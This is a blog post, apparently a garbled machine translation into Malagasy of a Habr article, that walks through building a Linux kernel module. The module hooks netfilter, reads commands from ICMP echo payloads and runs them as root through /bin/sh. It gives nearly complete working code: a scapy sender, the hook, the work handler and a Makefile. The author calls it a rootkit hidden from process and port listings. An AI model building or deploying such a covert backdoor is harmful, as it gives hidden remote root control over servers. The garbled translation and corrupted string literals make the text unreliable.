Akora nokleary amin'ny ICMP

Akora nokleary amin'ny ICMP

TL, DR: Manoratra module kernel aho izay hamaky baiko avy amin'ny ICMP payload ary manatanteraka izany amin'ny server na dia mianjera aza ny SSH-nao. Ho an'ny tsy manam-paharetana indrindra, ny code rehetra dia github.

Tandremo! Ireo programmer C za-draharaha dia mety hirotsaka amin'ny ranomason-dra! Mety ho diso hevitra mihitsy aza aho, fa ny fanakianana rehetra dia raisina. Ny lahatsoratra dia natao ho an'ireo izay manana hevitra henjana momba ny fandaharana C ary te hijery ny ao anaty Linux.

Ao amin'ny fanehoan-kevitra amin'ny voalohany lahatsoratra hoy ny SoftEther VPN, izay afaka maka tahaka ny protocols "mahazatra", indrindra ny HTTPS, ICMP ary DNS mihitsy aza. Tsy azoko an-tsaina afa-tsy ny voalohany amin'izy ireo no miasa, satria fantatro tsara ny HTTP(S), ary tsy maintsy nianatra tonelina tamin'ny ICMP sy DNS aho.

Akora nokleary amin'ny ICMP

Eny, tamin'ny 2020 dia nianatra aho fa afaka mampiditra entana tsy misy dikany ao anaty fonosana ICMP ianao. Fa aleo tara toy izay tsy misy! Ary satria misy zavatra azo atao momba izany, dia mila atao izany. Satria amin'ny fiainako andavanandro dia matetika aho no mampiasa ny baiko, anisan'izany ny SSH, ny hevitra momba ny akorandriaka ICMP no tonga tao an-tsaiko voalohany. Ary mba hanangonana bingo bullshield feno, dia nanapa-kevitra ny hanoratra azy io ho toy ny maody Linux amin'ny fiteny izay heveriko henjana ihany. Ny akorandriaka toy izany dia tsy ho hita ao amin'ny lisitry ny dingana, azonao atao ny mampiditra azy ao amin'ny kernel ary tsy ao amin'ny rafitry ny rakitra, tsy hahita zavatra mampiahiahy ianao ao amin'ny lisitry ny seranana mihaino. Raha ny fahaiza-manaony dia rootkit feno ity, saingy manantena ny hanatsara azy aho ary hampiasa azy io ho toy ny akorandriaka farany rehefa avo loatra ny Load Average ka tsy afaka miditra amin'ny SSH ary manatanteraka farafaharatsiny. echo i > /proc/sysrq-triggerhamerina ny fidirana tsy rebooting.

Maka tonian-dahatsoratra izahay, fahaiza-manao fandaharana fototra amin'ny Python sy C, Google ary virtoaly izay tsy mampaninona anao ny mametraka eo ambanin'ny antsy raha tapaka ny zava-drehetra (tsy voatery - VirtualBox / KVM / sns eo an-toerana) ary andao!

lafiny mpanjifa

Toa ahy fa ho an'ny mpanjifa dia tsy maintsy manoratra script misy andalana 80 eo ho eo aho, saingy nisy olona tsara fanahy nanao izany ho ahy. ny asa rehetra. Nivadika ho tsotra tsy nampoizina ilay kaody, mitambatra amin'ny andalana 10 manan-danja:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

Ny script dia maka hevitra roa, adiresy ary entana. Alohan'ny handefasana dia ialohavan'ny fanalahidy ny entana run:, mila izany izahay hanilihana fonosana misy entana kisendrasendra.

Ny kernel dia mitaky tombontsoa amin'ny famoronana fonosana, noho izany dia tsy maintsy atao superuser ny script. Aza adino ny manome alalana amin'ny fanatanterahana ary mametraka ny scapy mihitsy. Debian dia manana fonosana antsoina python3-scapy. Azonao atao izao ny manamarina ny fomba fiasan'izy rehetra.

Mihazakazaka sy mamoaka ny baiko
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

Toy izao ny endriky ny sniffer
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct] [Checksum Status: Good] Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1] [Response time: 19.094 ms] Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]

^C2 packets captured

Ny enta-mavesatra ao amin'ny fonosana valiny dia tsy miova.

Module kernel

Mba hananganana milina virtoaly Debian dia mila farafaharatsiny ianao make ΠΈ linux-headers-amd64, ny ambiny dia ho tonga amin'ny endrika miankina. Tsy hanome ny kaody manontolo ao amin'ny lahatsoratra ianao;

Fametrahana hook

Hanombohana dia mila fiasa roa isika mba hampidirana ny module sy hamoahana azy. Ny fiasa amin'ny famoahana entana dia tsy ilaina, fa avy eo rmmod tsy mandeha izany;

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Inona no mitranga eto:

  1. Roa lohapejy rakitra no sintonina mba hanodinana ny maody sy ny netfilter.
  2. Ny asa rehetra dia mandeha amin'ny netfilter, azonao atao ny mametraka hook ao anatiny. Mba hanaovana izany, dia mila manambara ny rafitra izay ho voaendrika hook. Ny zava-dehibe indrindra dia ny mamaritra ny asa izay ho tanterahina ho hook: nfho.hook = icmp_cmd_executor; Ho tonga any amin'ny fonction mihitsy aho aoriana.
    Avy eo dia nametraka ny fotoana fikarakarana ny fonosana aho: NF_INET_PRE_ROUTING mamaritra ny fanodinana ny fonosana rehefa miseho voalohany ao amin'ny kernel. Azo ampiasaina NF_INET_POST_ROUTING hanodinana ny fonosana rehefa mivoaka ny kernel.
    Napetrako ho IPv4 ny sivana: nfho.pf = PF_INET;.
    Omeko laharam-pahamehana ny fihokoko: nfho.priority = NF_IP_PRI_FIRST;
    Ary manoratra ny firafitry ny angon-drakitra ho toy ny hook tena izy aho: nf_register_net_hook(&init_net, &nfho);
  3. Ny asa farany dia manala ny hook.
  4. Aseho mazava tsara ny fahazoan-dΓ lana mba tsy hitarainan'ny mpanangona.
  5. asa module_init() ΠΈ module_exit() mametraka asa hafa hanombohana sy hamaranana ny module.

Famerenana ny enta-mavesatra

Ankehitriny dia mila manala ny enta-mavesatra isika, io no asa sarotra indrindra. Ny kernel dia tsy manana fiasa naorina amin'ny fiasana amin'ny enta-mavesatra ;

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == '')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = '';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == '')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Fa misy inona:

  1. Tsy maintsy nampiditra fisie lohan-doha fanampiny aho, tamin'ity indray mitoraka ity mba hanodinana ny lohatenin'ny IP sy ICMP.
  2. Napetrako ny halavan'ny tsipika ambony indrindra: #define MAX_CMD_LEN 1976. Nahoana tokoa moa izany? Satria ny compiler mitaraina momba izany! Efa nanoro ahy izy ireo fa mila mahazo ny stack sy heap aho, indray andro any dia hanao izany aho ary mety hanitsy ny code mihitsy aza. Napetrako avy hatrany ny tsipika izay ahitana ny baiko: char cmd_string[MAX_CMD_LEN];. Tokony ho hita amin'ny fiasa rehetra izany;
  3. Ankehitriny dia mila manomboka (struct work_struct my_work;) rafitra ary mampifandray izany amin'ny asa hafa (DECLARE_WORK(my_work, work_handler);). Hiresaka momba ny antony ilana izany koa aho ao amin'ny andininy fahasivy.
  4. Ankehitriny dia manambara asa iray izay ho hook aho. Ny karazana sy ny tohan-kevitra ekena dia baikon'ny netfilter, liana fotsiny izahay skb. Ity dia socket buffer, rafitra angon-drakitra fototra izay ahitana ny fampahalalana rehetra misy momba ny fonosana iray.
  5. Mba hiasa ny asa dia mila rafitra roa sy variables maromaro ianao, anisan'izany ny iterator roa.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Afaka manomboka amin'ny lojika isika. Mba hiasana ny maody dia tsy ilaina ny fonosana hafa ankoatra ny ICMP Echo, noho izany dia manara-maso ny buffer izahay amin'ny alΓ lan'ny fiasa natsangana ary manary ny fonosana tsy misy ICMP sy tsy Echo. Miverena NF_ACCEPT midika hoe fanekena ny fonosana, fa azonao atao koa ny manary fonosana amin'ny fiverenana NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    Tsy nanandrana izay hitranga aho raha tsy nanamarina ny lohatenin'ny IP. Ny fahalalako kely momba ny C dia milaza amiko fa raha tsy misy fanamarinana fanampiny dia misy zavatra mahatsiravina hitranga. Ho faly aho raha tsy manaiky an'izany ianao!

  7. Ankehitriny fa ny fonosana dia ny karazana tena ilainao, azonao atao ny manala ny angona. Raha tsy misy fiasa naorina, dia tsy maintsy mahazo tondro mankany amin'ny fiandohan'ny enta-mavesatra ianao. Izany dia atao amin'ny toerana iray, mila maka ny tondro mankany amin'ny fiandohan'ny lohatenin'ny ICMP ianao ary mamindra izany amin'ny haben'ity lohapejy ity. Mampiasa rafitra ny zava-drehetra icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    Ny faran'ny lohapejy dia tsy maintsy mifanaraka amin'ny faran'ny entana skb, noho izany dia azonay izany amin'ny fampiasana fitaovana nokleary avy amin'ny rafitra mifanaraka amin'izany: tail = skb_tail_pointer(skb);.

    Akora nokleary amin'ny ICMP

    Nisy nangalatra ilay sary avy eto, afaka mamaky bebe kokoa momba ny socket buffer ianao.

  8. Rehefa manana tondro mankany amin'ny fiandohana sy ny fiafarana ianao dia azonao atao ny mandika ny angon-drakitra ho tady cmd_string, jereo raha misy prefix run: ary, na ario ilay fonosana raha tsy hita, na avereno soratana indray ilay tsipika, esory io tovana io.
  9. Izay ihany, afaka miantso mpitantana hafa ianao izao: schedule_work(&my_work);. Koa satria tsy azo atao ny mandefa parameter amin'ny antso toy izany, ny tsipika miaraka amin'ny baiko dia tokony ho manerantany. schedule_work() dia hametraka ny asa mifandray amin'ny rafitra nandalo tao amin'ny filaharana ankapoben'ny mpandrindra asa ary feno, mamela anao tsy hiandry ny baiko ho vita. Ilaina izany satria tsy maintsy haingana be ny hook. Raha tsy izany, ny safidinao dia ny hoe tsy hisy na inona na inona hanomboka na ho tahotra kernel ianao. Ny fahatarana dia toy ny fahafatesana!
  10. Izay ihany, azonao atao ny manaiky ny fonosana miaraka amin'ny fiverenana mifanaraka amin'izany.

Miantso programa amin'ny mpampiasaspace

Ity asa ity no azo takarina indrindra. Nomena ny anarany tao DECLARE_WORK(), tsy mahaliana ny karazana sy ny hevitra ekena. Raisinay ny tsipika miaraka amin'ny baiko ary ampita izany tanteraka amin'ny akorandriaka. Avelao izy hiatrika parsing, hikaroka binary sy ny zavatra hafa rehetra.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Apetraho amin'ny tady maromaro ny hevitra argv[]. Heveriko fa fantatry ny rehetra fa ny programa dia tanterahina amin'ity fomba ity, fa tsy amin'ny tsipika mitohy miaraka amin'ny habaka.
  2. Mametraha fari-piainana manodidina. Ny PATH ihany no nampidiriko miaraka amin'ny lalana faran'izay kely indrindra, nanantena fa efa nitambatra daholo izy ireo /bin с /usr/bin и /sbin с /usr/sbin. Ny lalana hafa dia mahalana amin'ny fampiharana.
  3. Vita, andao hatao! Ny asan'ny kernel call_usermodehelper() manaiky ny fidirana. lalana mankany amin'ny binary, array of arguments, array of environment variables. Eto aho dia mihevitra fa ny tsirairay dia mahatakatra ny dikan'ny hoe mandalo ny lalana mankany amin'ny rakitra azo tanterahana ho toy ny tohan-kevitra misaraka, saingy azonao atao ny manontany. Ny tohan-kevitra farany dia mamaritra na hiandry ny dingana ho vita (UMH_WAIT_PROC), manomboka ny dingana (UMH_WAIT_EXEC) na tsy miandry mihitsy (UMH_NO_WAIT). Misy hafa ve UMH_KILLABLE, tsy nojereko izany.

fiangonana

Ny fanangonana ny maody kernel dia atao amin'ny alΓ lan'ny kernel make-framework. ANTSOINA make ao anaty lahatahiry manokana mifamatotra amin'ny dikan-kernel (voafaritra eto: KERNELDIR:=/lib/modules/$(shell uname -r)/build), ary ny toerana misy ny module dia alefa amin'ny variable M amin'ny arguments. Ny icmpshell.ko sy ny kendrena madio dia mampiasa ity rafitra ity manontolo. IN obj-m manondro ny rakitra zavatra izay hovana ho maody. Syntax izay mamerina main.o Π² icmpshell.o (icmpshell-objs = main.o) tsy dia mitombina loatra amiko, fa aoka izany.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

all: icmpshell.ko

icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules

clean:
make -C $(KERNELDIR) M=$(PWD) clean

Manangona izahay: make. Loading: insmod icmpshell.ko. Vita, azonao atao ny manamarina: sudo ./send.py 45.11.26.232 "date > /tmp/test". Raha manana rakitra amin'ny masininao ianao /tmp/test ary mirakitra ny daty nandefasana ny fangatahana, izay midika fa nanao ny zava-drehetra ianao ary nataoko tsara ny zava-drehetra.

famaranana

Ny traikefako voalohany momba ny fampandrosoana nokleary dia mora lavitra noho ny noheveriko. Na dia tsy manana traikefa amin'ny fampandrosoana ao amin'ny C aza aho, mifantoka amin'ny soso-kevitry ny compiler sy ny valin'ny Google, dia afaka nanoratra maody miasa aho ary nahatsapa ho toy ny mpijirika kernel, ary miaraka amin'ny kiddie script. Fanampin'izay, nandeha tany amin'ny fantsona Kernel Newbies aho, izay nasaina nampiasaiko schedule_work() fa tsy miantso call_usermodehelper() tao anatin'ilay fiompiana ary nanala baraka azy, marina ny niahiahiana ho fisolokiana. Ny andalana an-jatony amin'ny kaody dia nandany ahy teo amin'ny herinandron'ny fampandrosoana amin'ny fotoana malalaka. Traikefa nahomby izay nandrava ny angano manokana momba ny fahasarotan'ny fivoaran'ny rafitra.

Raha misy manaiky hanao famerenana kaody ao amin'ny Github dia ho feno fankasitrahana aho. Tena azoko antoka fa nanao fahadisoana be dia be aho, indrindra rehefa niasa tamin'ny tady.

Akora nokleary amin'ny ICMP

Source: www.habr.com

Add a comment